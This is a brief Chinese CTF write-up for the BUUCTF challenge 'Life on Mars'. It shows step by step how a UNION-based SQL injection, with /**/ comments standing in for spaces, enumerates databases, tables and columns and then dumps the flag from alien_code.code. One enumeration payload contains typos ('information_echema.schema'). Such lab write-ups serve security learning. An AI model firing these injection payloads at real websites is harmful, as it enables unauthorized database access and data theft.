BUUCTF__[b01lers2020]Life on Mars_题解

解题

• 题目没有其它可用信息，抓包发现可疑传参，可以测试出存在sql注入。注意一点是，在burp抓包修改在url路径中不能出现空格，不然会出现400错误，所以我们用/**/代替空格。

• 测试出回显位数为2

  /query?search=chryse_planitia/**/union/**/select/**/1,2
  

• 所有数据库名称information_schema,alien_code,aliens

  /query?search=chryse_planitia/**/union/**/select/**/1,group_concat(schema_name)/**/from/**/information_echema.schema
  

• 当前数据库aliens

  /query?search=chryse_planitia/**/union/**/select/**/1,database()
  

• 表名amazonis_planitia,arabia_terra,chryse_planitia,hellas_basin,hesperia_planum,noachis_terra,olympus_mons,tharsis_rise,utopia_basin

  /query?search=chryse_planitia/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
  

• 字段名

  /query?search=chryse_planitia/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='amazonis_planitia'
  

• 内容

  /query?search=chryse_planitia/**/union/**/select/**/1,group_concat(id,0x3a,name,0x3a,description)/**/from/**/amazonis_planitia
  

• 同理得到其它内容

• 但最终测试下来，flag在alien_code数据库。

  /query?search=chryse_planitia/**/union/**/select/**/1,group_concat(id,0x3a,code)/**/from/**/alien_code.code